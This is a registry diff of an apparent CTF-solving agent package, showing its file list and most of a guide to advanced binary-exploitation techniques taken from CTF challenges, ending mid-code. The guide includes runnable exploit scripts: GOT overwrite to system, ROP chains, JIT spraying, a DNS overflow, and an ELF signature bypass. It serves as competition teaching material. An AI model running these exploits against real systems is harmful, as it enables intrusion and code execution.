ctf-agent 1.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (152) hide show
  1. package/AGENTS.md +131 -0
  2. package/Dockerfile +192 -0
  3. package/README.md +522 -0
  4. package/agents/ctf-analyzer.md +58 -0
  5. package/agents/ctf-controller.md +151 -0
  6. package/agents/ctf-speedrun.md +74 -0
  7. package/bin/ctf-agent.js +119 -0
  8. package/docker-compose.yml +13 -0
  9. package/mcp_config.json +19 -0
  10. package/package.json +44 -0
  11. package/references/ctf-triage-ladder.md +68 -0
  12. package/references/exploit-databases.md +575 -0
  13. package/references/llm-safety-and-policy-compliance.md +173 -0
  14. package/references/multi-agent-orchestration-and-policy-routing.md +278 -0
  15. package/references/security-events-and-intelligence.md +566 -0
  16. package/references/version-matrix.md +59 -0
  17. package/rules/ctf-execution-rules.md +44 -0
  18. package/rules/ctf-safety-framing-rules.md +140 -0
  19. package/rules/flag-validation-rules.md +25 -0
  20. package/scripts/__init__.py +1 -0
  21. package/scripts/ctf-tools.lock +205 -0
  22. package/scripts/ctf_init.py +1026 -0
  23. package/scripts/ctf_update.py +583 -0
  24. package/scripts/ctfd_client.py +81 -0
  25. package/scripts/cve_lookup.py +453 -0
  26. package/scripts/extract_flags.py +155 -0
  27. package/scripts/install_as_agent.py +278 -0
  28. package/scripts/install_ctf_tools.sh +603 -0
  29. package/scripts/parallel_triage.py +395 -0
  30. package/scripts/prompt_policy_sanitizer.py +283 -0
  31. package/scripts/scope_guard.py +444 -0
  32. package/scripts/skill_validator.py +504 -0
  33. package/scripts/workspace_cleaner.py +141 -0
  34. package/skills/ctf-ai-ml/SKILL.md +120 -0
  35. package/skills/ctf-ai-ml/adversarial-ml.md +623 -0
  36. package/skills/ctf-ai-ml/llm-attacks.md +487 -0
  37. package/skills/ctf-ai-ml/model-attacks.md +422 -0
  38. package/skills/ctf-crypto/SKILL.md +320 -0
  39. package/skills/ctf-crypto/advanced-math.md +798 -0
  40. package/skills/ctf-crypto/classic-ciphers.md +651 -0
  41. package/skills/ctf-crypto/ecc-attacks.md +347 -0
  42. package/skills/ctf-crypto/exotic-crypto-2.md +380 -0
  43. package/skills/ctf-crypto/exotic-crypto.md +528 -0
  44. package/skills/ctf-crypto/historical.md +113 -0
  45. package/skills/ctf-crypto/lattice-and-lwe.md +524 -0
  46. package/skills/ctf-crypto/modern-ciphers-2.md +563 -0
  47. package/skills/ctf-crypto/modern-ciphers-3.md +453 -0
  48. package/skills/ctf-crypto/modern-ciphers.md +649 -0
  49. package/skills/ctf-crypto/prng-attacks.md +257 -0
  50. package/skills/ctf-crypto/prng.md +664 -0
  51. package/skills/ctf-crypto/rsa-attacks-2.md +792 -0
  52. package/skills/ctf-crypto/rsa-attacks.md +487 -0
  53. package/skills/ctf-crypto/stream-ciphers.md +390 -0
  54. package/skills/ctf-crypto/zkp-and-advanced.md +456 -0
  55. package/skills/ctf-forensics/3d-printing.md +121 -0
  56. package/skills/ctf-forensics/SKILL.md +379 -0
  57. package/skills/ctf-forensics/disk-advanced.md +497 -0
  58. package/skills/ctf-forensics/disk-and-memory.md +491 -0
  59. package/skills/ctf-forensics/disk-recovery.md +699 -0
  60. package/skills/ctf-forensics/linux-forensics.md +511 -0
  61. package/skills/ctf-forensics/network-advanced.md +583 -0
  62. package/skills/ctf-forensics/network.md +645 -0
  63. package/skills/ctf-forensics/peripheral-capture.md +287 -0
  64. package/skills/ctf-forensics/signals-and-hardware.md +713 -0
  65. package/skills/ctf-forensics/steganography.md +694 -0
  66. package/skills/ctf-forensics/stego-advanced-2.md +475 -0
  67. package/skills/ctf-forensics/stego-advanced.md +481 -0
  68. package/skills/ctf-forensics/stego-image.md +691 -0
  69. package/skills/ctf-forensics/windows.md +625 -0
  70. package/skills/ctf-malware/SKILL.md +181 -0
  71. package/skills/ctf-malware/c2-and-protocols.md +274 -0
  72. package/skills/ctf-malware/pe-and-dotnet.md +108 -0
  73. package/skills/ctf-malware/scripts-and-obfuscation.md +449 -0
  74. package/skills/ctf-misc/SKILL.md +498 -0
  75. package/skills/ctf-misc/bashjails.md +323 -0
  76. package/skills/ctf-misc/ctfd-navigation.md +465 -0
  77. package/skills/ctf-misc/dns.md +255 -0
  78. package/skills/ctf-misc/encodings-advanced.md +504 -0
  79. package/skills/ctf-misc/encodings.md +431 -0
  80. package/skills/ctf-misc/games-and-vms-2.md +254 -0
  81. package/skills/ctf-misc/games-and-vms-3.md +690 -0
  82. package/skills/ctf-misc/games-and-vms-4.md +229 -0
  83. package/skills/ctf-misc/games-and-vms.md +529 -0
  84. package/skills/ctf-misc/linux-privesc.md +333 -0
  85. package/skills/ctf-misc/pyjails.md +671 -0
  86. package/skills/ctf-misc/rf-sdr.md +91 -0
  87. package/skills/ctf-osint/SKILL.md +198 -0
  88. package/skills/ctf-osint/geolocation-and-media.md +464 -0
  89. package/skills/ctf-osint/social-media.md +312 -0
  90. package/skills/ctf-osint/web-and-dns.md +341 -0
  91. package/skills/ctf-pwn/SKILL.md +214 -0
  92. package/skills/ctf-pwn/advanced-exploits-2.md +579 -0
  93. package/skills/ctf-pwn/advanced-exploits-3.md +598 -0
  94. package/skills/ctf-pwn/advanced-exploits-4.md +590 -0
  95. package/skills/ctf-pwn/advanced-exploits-5.md +119 -0
  96. package/skills/ctf-pwn/advanced-exploits.md +773 -0
  97. package/skills/ctf-pwn/advanced.md +326 -0
  98. package/skills/ctf-pwn/field-notes.md +245 -0
  99. package/skills/ctf-pwn/format-string.md +694 -0
  100. package/skills/ctf-pwn/heap-fsop.md +285 -0
  101. package/skills/ctf-pwn/heap-techniques-2.md +333 -0
  102. package/skills/ctf-pwn/heap-techniques.md +513 -0
  103. package/skills/ctf-pwn/kernel-bypass.md +421 -0
  104. package/skills/ctf-pwn/kernel-techniques.md +366 -0
  105. package/skills/ctf-pwn/kernel.md +636 -0
  106. package/skills/ctf-pwn/overflow-basics.md +611 -0
  107. package/skills/ctf-pwn/rop-advanced.md +725 -0
  108. package/skills/ctf-pwn/rop-and-shellcode.md +659 -0
  109. package/skills/ctf-pwn/sandbox-escape.md +313 -0
  110. package/skills/ctf-reverse/SKILL.md +163 -0
  111. package/skills/ctf-reverse/anti-analysis-ctf.md +204 -0
  112. package/skills/ctf-reverse/anti-analysis.md +693 -0
  113. package/skills/ctf-reverse/field-notes.md +376 -0
  114. package/skills/ctf-reverse/languages-compiled.md +666 -0
  115. package/skills/ctf-reverse/languages-platforms.md +592 -0
  116. package/skills/ctf-reverse/languages.md +553 -0
  117. package/skills/ctf-reverse/patterns-ctf-2.md +397 -0
  118. package/skills/ctf-reverse/patterns-ctf-3.md +797 -0
  119. package/skills/ctf-reverse/patterns-ctf.md +670 -0
  120. package/skills/ctf-reverse/patterns-runtime.md +274 -0
  121. package/skills/ctf-reverse/patterns.md +572 -0
  122. package/skills/ctf-reverse/platforms-hardware.md +387 -0
  123. package/skills/ctf-reverse/platforms.md +664 -0
  124. package/skills/ctf-reverse/tools-advanced-2.md +421 -0
  125. package/skills/ctf-reverse/tools-advanced.md +407 -0
  126. package/skills/ctf-reverse/tools-dynamic.md +679 -0
  127. package/skills/ctf-reverse/tools-emulation.md +319 -0
  128. package/skills/ctf-reverse/tools.md +573 -0
  129. package/skills/ctf-web/SKILL.md +153 -0
  130. package/skills/ctf-web/auth-and-access-2.md +82 -0
  131. package/skills/ctf-web/auth-and-access.md +783 -0
  132. package/skills/ctf-web/auth-infra.md +321 -0
  133. package/skills/ctf-web/auth-jwt.md +186 -0
  134. package/skills/ctf-web/client-side-advanced.md +739 -0
  135. package/skills/ctf-web/client-side.md +529 -0
  136. package/skills/ctf-web/cves.md +373 -0
  137. package/skills/ctf-web/field-notes.md +482 -0
  138. package/skills/ctf-web/node-and-prototype.md +200 -0
  139. package/skills/ctf-web/server-side-2.md +337 -0
  140. package/skills/ctf-web/server-side-advanced-2.md +559 -0
  141. package/skills/ctf-web/server-side-advanced-3.md +125 -0
  142. package/skills/ctf-web/server-side-advanced-4.md +480 -0
  143. package/skills/ctf-web/server-side-advanced.md +378 -0
  144. package/skills/ctf-web/server-side-deser.md +443 -0
  145. package/skills/ctf-web/server-side-exec-2.md +799 -0
  146. package/skills/ctf-web/server-side-exec.md +457 -0
  147. package/skills/ctf-web/server-side.md +629 -0
  148. package/skills/ctf-web/sql-injection.md +790 -0
  149. package/skills/ctf-web/web3.md +374 -0
  150. package/skills/ctf-writeup/SKILL.md +90 -0
  151. package/skills/solve-challenge/SKILL.md +269 -0
  152. package/skills.json +16 -0
@@ -0,0 +1,598 @@
1
+ # CTF Pwn - Advanced Exploit Techniques (Part 3)
2
+
3
+ ## Table of Contents
4
+ - [Stack Variable Overlap / Carry Corruption OOB (srdnlenCTF 2026)](#stack-variable-overlap--carry-corruption-oob-srdnlenctf-2026)
5
+ - [1-Byte Overflow via 8-bit Loop Counter (srdnlenCTF 2026)](#1-byte-overflow-via-8-bit-loop-counter-srdnlenctf-2026)
6
+ - [Game AI Arithmetic Mean OOB Read (BSidesSF 2024)](#game-ai-arithmetic-mean-oob-read-bsidessf-2024)
7
+ - [Arbitrary Read/Write to Shell via GOT Overwrite (BSidesSF 2026)](#arbitrary-readwrite-to-shell-via-got-overwrite-bsidessf-2026)
8
+ - [Stack Leak via __environ and memcpy Overflow (BSidesSF 2026)](#stack-leak-via-__environ-and-memcpy-overflow-bsidessf-2026)
9
+ - [JIT Sandbox Escape via Conditional Jump uint16 Truncation (BSidesSF 2026)](#jit-sandbox-escape-via-conditional-jump-uint16-truncation-bsidessf-2026)
10
+ - [DNS Compression Pointer Stack Overflow with Multi-Question ROP (BSidesSF 2026)](#dns-compression-pointer-stack-overflow-with-multi-question-rop-bsidessf-2026)
11
+ - [ELF Code Signing Bypass via Program Header Manipulation (BSidesSF 2026)](#elf-code-signing-bypass-via-program-header-manipulation-bsidessf-2026)
12
+ - [Game Level Format Signed/Unsigned Coordinate Mismatch (BSidesSF 2026)](#game-level-format-signedunsigned-coordinate-mismatch-bsidessf-2026)
13
+ - [File Descriptor Inheritance via Missing O_CLOEXEC (BSidesSF 2026)](#file-descriptor-inheritance-via-missing-o_cloexec-bsidessf-2026)
14
+ - [Sign Extension Integer Underflow in Metadata Parsing (BSidesSF 2026)](#sign-extension-integer-underflow-in-metadata-parsing-bsidessf-2026)
15
+ - [ROP Chain Construction with Read-Only Primitive (BSidesSF 2026)](#rop-chain-construction-with-read-only-primitive-bsidessf-2026)
16
+ - [4-Byte Shellcode with Timing Side-Channel via Persistent Registers (Google CTF 2017)](#4-byte-shellcode-with-timing-side-channel-via-persistent-registers-google-ctf-2017)
17
+ - [CRC Oracle as Arbitrary Read Primitive (ASIS CTF 2017)](#crc-oracle-as-arbitrary-read-primitive-asis-ctf-2017)
18
+ - [UTF-8 Case Conversion Buffer Overflow (HITB CTF 2017)](#utf-8-case-conversion-buffer-overflow-hitb-ctf-2017)
19
+
20
+ ---
21
+
22
+ ## Stack Variable Overlap / Carry Corruption OOB (srdnlenCTF 2026)
23
+
24
+ **Pattern (common_offset):** Stack variables share storage due to compiler layout. Carry from arithmetic on one variable corrupts an adjacent variable, enabling OOB access.
25
+
26
+ **Vulnerability:** `index` (byte at `[rsp+0x49]`) and `offset` (word at `[rsp+0x48]`) share storage. Incrementing `offset` by 255 causes a carry that corrupts `index` from 3 to 4, producing out-of-bounds table access.
27
+
28
+ **Exploit chain:**
29
+ 1. Set index=0, increment offset by 1 to establish baseline
30
+ 2. Set index=3, increment offset by 255 → carry corrupts index to 4
31
+ 3. OOB access on table retrieves saved RIP from stack frame
32
+ 4. Overwrite RIP to trigger `read_stdin` again, landing on stack gadget
33
+ 5. Two-stage ROP: leak `puts@GOT`, compute libc base, then `setcontext` for code execution
34
+
35
+ **Key insight:** When variables of different sizes are packed adjacent on the stack (e.g., byte immediately after word), arithmetic overflow on the smaller-address variable carries into the larger-address variable. This is subtle in disassembly — look for overlapping `[rsp+N]` accesses with different operand sizes.
36
+
37
+ **Detection:** In disassembly, check if two named variables share partially overlapping stack offsets. For example, a `word` at `rsp+0x48` and a `byte` at `rsp+0x49` — the high byte of the word IS the byte variable.
38
+
39
+ ---
40
+
41
+ ## 1-Byte Overflow via 8-bit Loop Counter (srdnlenCTF 2026)
42
+
43
+ **Pattern (Echo):** Custom `read_stdin()` uses 8-bit loop counter that wraps around, writing 65 bytes to a 64-byte buffer, overflowing into an adjacent size variable.
44
+
45
+ **Progressive leak technique:**
46
+ 1. Trigger 1-byte overflow to increase buffer size from 0x40 to 0x48
47
+ 2. With enlarged buffer, read further on stack — leak canary and saved rbp
48
+ 3. Increase size to 0x77 to leak main's libc return address from stack
49
+ 4. Compute libc base from leaked return address offset
50
+ 5. Craft final payload: restore canary, set fake rbp, overwrite RIP with one-gadget
51
+
52
+ **One-gadget constraint setup:**
53
+ ```python
54
+ from pwn import *
55
+
56
+ # Stack layout: buffer[rbp-0x50], size[rbp-0x10], canary[rbp-0x08], rbp, ret
57
+ # One-gadget needs NULL at [rbp-0x78] and [rbp-0x60]
58
+ buf_addr = leaked_rbp - 0x50 # known from leak
59
+ fake_rbp = buf_addr + 0x78
60
+
61
+ payload = b"\x00" * 8 # [fake_rbp - 0x78] = NULL (constraint)
62
+ payload += b"A" * 16
63
+ payload += b"\x00" * 8 # [fake_rbp - 0x60] = NULL (constraint)
64
+ payload = payload.ljust(64, b"A")
65
+ payload += p64(0x48) # preserve enlarged size
66
+ payload += p64(canary) # restore canary
67
+ payload += p64(fake_rbp) # fake rbp satisfying constraints
68
+ payload += p64(one_gadget) # libc one-gadget
69
+ ```
70
+
71
+ **Key insight:** 8-bit counters in read loops cause off-by-one when the buffer size equals the counter's range (64 → wraps after 64, writes byte 65). The 1-byte overflow into a size field creates a progressive information disclosure primitive: each round leaks more stack data, enabling a full exploit chain from a single-byte overflow.
72
+
73
+ ---
74
+
75
+ ---
76
+
77
+ ## Game AI Arithmetic Mean OOB Read (BSidesSF 2024)
78
+
79
+ When a game computes AI moves as the arithmetic mean of player input and previous state, submitting out-of-bounds coordinates produces a controlled OOB access:
80
+
81
+ ```c
82
+ // AI "Smartypants" strategy: average of human and last computer move
83
+ ai_move.row = (human_move.row + last_computer.row) / 2;
84
+ ai_move.col = (human_move.col + last_computer.col) / 2;
85
+ // Bounds validation happens AFTER ai_move is computed and used
86
+ ```
87
+
88
+ Submit extreme values (e.g., row=100000, col=100000) to make the AI compute `(100000 + 0) / 2 = 50001`, which reads well past the game board allocation into stack/heap memory.
89
+
90
+ ```python
91
+ from pwn import *
92
+
93
+ # Brute-force memory offset to find flag
94
+ for offset in range(-6000, 6000, 100):
95
+ r = remote(host, port)
96
+ r.sendline(str(offset * 2).encode()) # Row (doubled because AI halves)
97
+ r.sendline(b'0') # Col
98
+ response = r.recvall()
99
+ if b'CTF{' in response:
100
+ print(f"Flag at offset {offset}: {response}")
101
+ break
102
+ r.close()
103
+ ```
104
+
105
+ **Key insight:** Input validation that occurs after variable assignment creates a TOCTOU gap. Even if the game rejects the move, the computed AI position may have already been used to access memory. The arithmetic mean serves as a divide-by-2 primitive — submit 2x the desired OOB offset as player input.
106
+
107
+ ---
108
+
109
+ ---
110
+
111
+ ## Arbitrary Read/Write to Shell via GOT Overwrite (BSidesSF 2026)
112
+
113
+ **Pattern (readwriteme):** Binary provides explicit arbitrary read and arbitrary write primitives (e.g., "read address" and "write address" menu options). No need for complex heap or format string exploits — just use the primitives directly.
114
+
115
+ **Exploit chain:**
116
+ 1. **Leak libc:** Read a GOT entry (e.g., `strtoll@GOT`) to get a libc address
117
+ 2. **Calculate `system`:** Compute `system` address from known libc offset
118
+ 3. **Overwrite GOT:** Write `system` address to `strtoll@GOT`
119
+ 4. **Trigger shell:** Next time the binary calls `strtoll(user_input)`, it executes `system(user_input)` instead — send `sh\n`
120
+
121
+ ```python
122
+ from pwn import *
123
+
124
+ elf = ELF('./readwriteme')
125
+ libc = ELF('./libc.so.6')
126
+ p = remote('target', port)
127
+
128
+ # Step 1: Leak strtoll@GOT
129
+ p.sendlineafter(b'> ', b'read')
130
+ p.sendlineafter(b'address: ', hex(elf.got['strtoll']).encode())
131
+ strtoll_addr = int(p.recvline().strip(), 16)
132
+ libc_base = strtoll_addr - libc.sym['strtoll']
133
+
134
+ # Step 2: Overwrite strtoll@GOT with system
135
+ p.sendlineafter(b'> ', b'write')
136
+ p.sendlineafter(b'address: ', hex(elf.got['strtoll']).encode())
137
+ p.sendlineafter(b'value: ', hex(libc_base + libc.sym['system']).encode())
138
+
139
+ # Step 3: Next input parsed by strtoll() → system()
140
+ p.sendlineafter(b'> ', b'sh')
141
+ p.interactive()
142
+ ```
143
+
144
+ **Why `strtoll` → `system`:** Both take a `const char *` as first argument. When the binary calls `strtoll(user_input, ...)`, the GOT redirect makes it call `system(user_input)` — the extra arguments are harmlessly ignored.
145
+
146
+ **Key insight:** When a binary gives you arbitrary read + write, the fastest path to shell is GOT overwrite. Choose a GOT entry for a function that (a) takes a user-controlled string as its first argument, and (b) is called after you perform the overwrite. `strtoll`, `atoi`, `puts`, and `printf` are all good candidates depending on the binary's flow.
147
+
148
+ **References:** BSidesSF 2026 "readwriteme"
149
+
150
+ ---
151
+
152
+ ## Stack Leak via __environ and memcpy Overflow (BSidesSF 2026)
153
+
154
+ **Pattern (readme):** Binary provides an arbitrary read primitive (e.g., `memcpy(stack_buf, user_addr, user_len)`) but NO write primitive. The `memcpy` overflow itself becomes the write primitive.
155
+
156
+ **Exploit chain:**
157
+ 1. **Leak libc:** Use the read primitive on a GOT entry to get a libc address
158
+ 2. **Leak stack:** Read `__environ` from libc (contains a stack pointer to the environment variables)
159
+ 3. **Calculate return address location:** From the stack leak, compute where the current function's return address is stored
160
+ 4. **Plant ROP payload:** Embed `p64(ret_gadget) + p64(target_func)` inside the command input buffer (the same buffer that `fgets` reads into)
161
+ 5. **memcpy overflow:** Use the `memcpy(stack_buf, controlled_addr, large_len)` to copy your planted payload over the return address
162
+ 6. **Trigger return:** Send EOF to close stdin, causing `fgets` to return NULL and the function to exit through the overwritten return address
163
+
164
+ ```python
165
+ from pwn import *
166
+
167
+ elf = ELF('./readme')
168
+ libc = ELF('./libc.so.6')
169
+ p = remote('target', port)
170
+
171
+ # Step 1: Leak libc via GOT read
172
+ p.sendlineafter(b'> ', f'read {hex(elf.got["puts"])}'.encode())
173
+ puts_addr = u64(p.recv(8))
174
+ libc_base = puts_addr - libc.sym['puts']
175
+
176
+ # Step 2: Leak stack via __environ
177
+ environ_addr = libc_base + libc.sym['__environ']
178
+ p.sendlineafter(b'> ', f'read {hex(environ_addr)}'.encode())
179
+ stack_addr = u64(p.recv(8))
180
+ # Return address is at known offset from __environ
181
+ ret_addr_location = stack_addr - OFFSET_TO_RET # Determine via debugging
182
+
183
+ # Step 3: Plant ROP addresses in the input buffer
184
+ # The command buffer is also on the stack at a known offset
185
+ ret_gadget = libc_base + GADGET_OFFSET
186
+ win_func = elf.sym['win'] # or one_gadget
187
+ payload = p64(ret_gadget) + p64(win_func)
188
+
189
+ # Step 4: memcpy overflow to copy planted payload over return address
190
+ # memcpy(dest=stack_buf, src=our_planted_addr, len=enough_to_reach_ret)
191
+ p.sendlineafter(b'> ', f'read {hex(planted_addr)} {overflow_len}'.encode())
192
+
193
+ # Step 5: EOF triggers return through overwritten address
194
+ p.shutdown('send')
195
+ p.interactive()
196
+ ```
197
+
198
+ **Why `__environ`:** The global variable `__environ` in libc always points to the process's environment variable array on the stack. Since it's at a fixed libc offset, leaking libc gives you `__environ`, which gives you a stack address. From there, the offset to any stack frame's return address is deterministic (found via debugging).
199
+
200
+ **Key insight:** When you have only a read primitive, look for ways the read itself can be abused as a write. `memcpy` with user-controlled length overflows the destination buffer, turning a read into a write. The `__environ` → stack leak → return address chain is a standard technique when you need to find the stack without an info leak from the binary itself.
201
+
202
+ **References:** BSidesSF 2026 "readme"
203
+
204
+ ---
205
+
206
+ ---
207
+
208
+ ## JIT Sandbox Escape via Conditional Jump uint16 Truncation (BSidesSF 2026)
209
+
210
+ **Pattern (rugdoctor):** A "secure JIT sandbox" compiles a simple scripting language to x86-64 machine code in an RWX buffer. The `if` statement emits a `jz` with a 32-bit relative offset, but the offset calculation truncates to 16 bits: `(uint16_t)code_offset - (uint16_t)if_address - 4`. When the code exceeds 65535 bytes, the truncated offset causes the jump to land inside a future instruction's immediate value.
211
+
212
+ **Exploitation steps:**
213
+ 1. Emit ~9370 `add` instructions inside an `if` block with condition `$b = 0` (always-false branch)
214
+ 2. The truncated `jz` offset lands in the middle of an `add` instruction's 32-bit immediate value
215
+ 3. The attacker controls the immediate values — embed 2-byte instruction fragments + `jmp $+3` (EB 03) to skip past JIT boilerplate bytes between each `add`
216
+ 4. Thread a multi-stage shellcode: `mmap` RWX memory via syscall → copy full shellcode byte-by-byte → `call rbx`
217
+
218
+ ```ruby
219
+ # Embed 2-byte instruction pairs in add immediates, interleaved with jmp $+3
220
+ shellcode_fragments = [
221
+ "\x6a\x00", # push 0 -> rdi = NULL (mmap addr)
222
+ "\x5f\x90", # pop rdi / nop
223
+ "\x6a\x07", # push 7 -> rdx = PROT_RWX
224
+ "\x5a\x90", # pop rdx / nop
225
+ "\x0f\x05", # syscall -> mmap
226
+ ]
227
+
228
+ # Each fragment becomes: fragment_bytes + \xEB\x03 (jmp $+3)
229
+ # Packed as 32-bit add immediate: fragment[0:2] + EB 03
230
+ adds = shellcode_fragments.map { |frag| "#{frag}\xeb\x03".unpack('V').pop }
231
+
232
+ # Write shellcode byte-by-byte via mov [rax], imm8 / jmp $+3
233
+ SHELLCODE.bytes.each do |byte|
234
+ adds << "\xc6\x00#{byte.chr}\xeb".unpack('V').pop # mov byte ptr [rax], byte
235
+ end
236
+ ```
237
+
238
+ **Key insight:** The JIT compiler uses `uint16_t` for offset calculation even though the code buffer can exceed 64KB. The 16-bit truncation creates a "JIT spray" where the attacker controls instruction bytes at predictable positions within the RWX buffer. The `jmp $+3` threading technique chains 2-byte instruction fragments separated by 3 bytes of JIT overhead.
239
+
240
+ **When to recognize:** Challenge involves a JIT compiler or scripting engine that compiles to native code. Look for integer truncation in jump/branch offset calculations, RWX memory regions, and user-controlled immediate values in generated instructions.
241
+
242
+ **Broader pattern:** JIT spraying attacks embed shellcode fragments in instruction immediates (typically `add`, `xor`, or `mov` constants). The misalignment between intended and actual instruction boundaries turns data into executable code. Common in browser JIT engines and CTF sandbox challenges.
243
+
244
+ **References:** BSidesSF 2026 "rugdoctor"
245
+
246
+ ---
247
+
248
+ ## DNS Compression Pointer Stack Overflow with Multi-Question ROP (BSidesSF 2026)
249
+
250
+ **Pattern (nameme):** Custom DNS server has a stack buffer overflow in domain name parsing. DNS compression pointers (`0xC0 | offset`) allow jumping to arbitrary positions in the packet, and the parser does not track total decompressed length. Carefully crafted pointer chains revisit data multiple times, overflowing a 1024-byte stack buffer.
251
+
252
+ **DNS compression primer:**
253
+ - Domain names in DNS packets use label+length encoding: `\x03www\x06google\x03com\x00`
254
+ - Compression pointers: byte starting with `0xC0` means "jump to offset in packet" — `\xC0\x0D` jumps to byte 13
255
+ - Pointers can chain: A → B → C, potentially revisiting the same data
256
+
257
+ **Exploitation:**
258
+ 1. Craft 8 DNS questions with carefully sized names
259
+ 2. Use compression pointers (`\xC0\x0D`, `\xC0\x0E`) to chain between questions
260
+ 3. Parser revisits data, expanding each compression hop, overflowing the 1024-byte `dns_question_t.name` buffer
261
+ 4. ROP chain split across 3 question entries (14+14+13 gadgets) due to per-question size limits
262
+ 5. ROP executes `sys_read` → `sys_open` → `sys_read` → `sys_write`; flag path sent as second UDP packet
263
+
264
+ ```python
265
+ import struct, socket
266
+
267
+ def encode_question(name_bytes, qtype=1, qclass=1):
268
+ return name_bytes + struct.pack('>HH', qtype, qclass)
269
+
270
+ # Overflow via compression pointer chains
271
+ questions = []
272
+ # Questions 1-4: fill buffer with controlled data
273
+ # Questions 5-8: use compression pointers to trigger re-expansion
274
+ # Final question: \xC0\x0D\x36AAAA...\xC0\x0E triggers overflow
275
+
276
+ # Build DNS packet: header (QDCOUNT=8) + questions
277
+ header = struct.pack('>HHHHHH', 0x1337, 0x0100, 8, 0, 0, 0)
278
+ packet = header + b''.join(questions)
279
+
280
+ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
281
+ sock.sendto(packet, (target, 53535))
282
+ # Send flag path in second packet after ROP calls sys_read
283
+ sock.sendto(b'/home/ctf/flag.txt\x00', (target, 53535))
284
+ ```
285
+
286
+ **Key insight:** DNS compression was designed for efficiency but creates a decompression amplification vulnerability. If the parser doesn't track total output length, compression pointer chains can expand a small packet into an arbitrarily large decompressed name. The multi-question format allows splitting a large ROP chain across multiple entries while keeping each entry within DNS label size limits.
287
+
288
+ **When to recognize:** Challenge involves a custom DNS server (not BIND/dnsmasq). Look for domain name parsing functions with fixed-size output buffers and no length tracking during compression pointer resolution.
289
+
290
+ **References:** BSidesSF 2026 "nameme"
291
+
292
+ ---
293
+
294
+ ## ELF Code Signing Bypass via Program Header Manipulation (BSidesSF 2026)
295
+
296
+ **Pattern (selfsigned):** An ELF signing/verification system hashes only section headers and content of sections with the `SHF_ALLOC` flag. Program headers (which control what the loader actually maps) are not directly covered by the hash. By appending shellcode to the file and modifying program headers to load from the appended data, the signature remains valid.
297
+
298
+ **ELF structure gap:**
299
+ - **Section headers** (`.text`, `.data`, etc.): Used by linkers and RE tools; covered by the hash
300
+ - **Program headers** (`LOAD`, `INTERP`, etc.): Used by the OS loader to map memory; NOT covered by the hash
301
+ - The `e_phoff` field in the ELF file header (pointing to program header table) doesn't change if you modify entries in place
302
+
303
+ **Exploitation:**
304
+ 1. Download the signed reference binary from the server
305
+ 2. Page-align the binary length (pad to 4096-byte boundary)
306
+ 3. Append shellcode at the padded offset, positioned so it maps to the original entrypoint virtual address
307
+ 4. Modify the code segment's program header: change `p_offset` to point to the appended data, update `p_filesz`/`p_memsz`
308
+ 5. Section headers remain unchanged → signature still verifies
309
+ 6. Upload modified binary; server verifies signature (passes) and executes (runs shellcode)
310
+
311
+ ```python
312
+ from elftools.elf.elffile import ELFFile
313
+ import struct
314
+
315
+ def fixup_binary(binary_path, shellcode):
316
+ with open(binary_path, 'rb') as f:
317
+ elf = ELFFile(f)
318
+ data = bytearray(f.read())
319
+
320
+ entry = elf.header.e_entry
321
+ orig_len = len(data)
322
+
323
+ # Pad to page boundary
324
+ page_size = 0x1000
325
+ padded_len = (orig_len + page_size - 1) & ~(page_size - 1)
326
+ data.extend(b'\x00' * (padded_len - orig_len))
327
+
328
+ # Write shellcode at offset matching entrypoint alignment
329
+ sc_offset = padded_len
330
+ data.extend(shellcode)
331
+
332
+ # Find and modify the LOAD segment containing .text
333
+ for seg in elf.iter_segments():
334
+ if seg.header.p_type == 'PT_LOAD' and seg.header.p_flags & 0x1: # PF_X
335
+ # Rewrite this program header entry
336
+ new_phdr = seg.header.copy()
337
+ new_phdr['p_offset'] = sc_offset
338
+ new_phdr['p_filesz'] = len(shellcode)
339
+ new_phdr['p_vaddr'] = entry & ~(page_size - 1)
340
+ # Write modified phdr back to its position in the file
341
+ # ...
342
+
343
+ return bytes(data)
344
+ ```
345
+
346
+ **Key insight:** Many code signing implementations only hash section-level metadata (section headers + content), not program headers. Since the OS loader uses program headers (not section headers) to map code into memory, an attacker can redirect code loading to attacker-controlled data without invalidating the signature. This is a real-world design flaw found in some embedded and IoT code signing schemes.
347
+
348
+ **When to recognize:** Challenge involves ELF binary signing/verification. Check what the hash covers — if it only processes sections (especially `SHF_ALLOC` sections), program header manipulation bypasses it.
349
+
350
+ **Broader lesson:** Secure ELF signing must cover both section AND program headers, or better yet, hash the entire file. Section headers are optional at runtime — a valid ELF can execute with zero sections. Any signing scheme that relies solely on sections is bypassable.
351
+
352
+ **References:** BSidesSF 2026 "selfsigned"
353
+
354
+ ---
355
+
356
+ ## Game Level Format Signed/Unsigned Coordinate Mismatch (BSidesSF 2026)
357
+
358
+ **Pattern (blockman-builder):** A 2D platformer game uses a level editor that parses block placement instructions with signed integer coordinates. The bounds check compares signed values against unsigned dimensions (`if (x1 < level_width && y1 < WORLD_H)`) — when x1 is negative, the signed-to-unsigned comparison passes because a large unsigned value is less than the unsigned width. This allows writing arbitrary bytes (block IDs) to memory before the level array.
359
+
360
+ **Exploitation steps:**
361
+ 1. Extract source code from binary (embedded in a custom ELF section, found via `strings`)
362
+ 2. Enable developer mode (hidden konami-code input sequence) to leak level data stack address
363
+ 3. Craft level with shellcode bytes encoded as block IDs placed at legitimate positive coordinates
364
+ 4. Use negative coordinates to overwrite the return address on the stack, pointing to the shellcode in level data
365
+ 5. Level data is base64+zlib encoded; use pack/unpack scripts
366
+
367
+ ```python
368
+ import struct, zlib, base64
369
+
370
+ # Level format: "clear\n{width}\n{n_entities}\n{entities...}\n{n_blocks}\n{blocks...}"
371
+ shellcode = open("shellcode.bin", "rb").read()
372
+ leaked_addr = 0x7ffd3de47d70 # From developer mode leak
373
+ level_base = leaked_addr # Level data is on the stack
374
+
375
+ # Place shellcode bytes as block IDs at positive coordinates
376
+ lines = ["clear", "128", "0", "0"] # width=128, 0 entities, 0 initial blocks
377
+ block_lines = []
378
+
379
+ # Write shellcode to level array at known offset
380
+ for i, byte in enumerate(shellcode):
381
+ x = i % 128
382
+ y = i // 128
383
+ block_lines.append(f"{byte},{x},{y}")
384
+
385
+ # Overwrite return address with negative Y coordinate
386
+ ret_offset = -(0x100) # Offset from level array to saved RIP
387
+ # 6-number format: block_id, x1, y1, x2, y2 (rectangle fill)
388
+ for i, byte in enumerate(struct.pack("<Q", level_base)):
389
+ block_lines.append(f"{byte},{i},{ret_offset}")
390
+
391
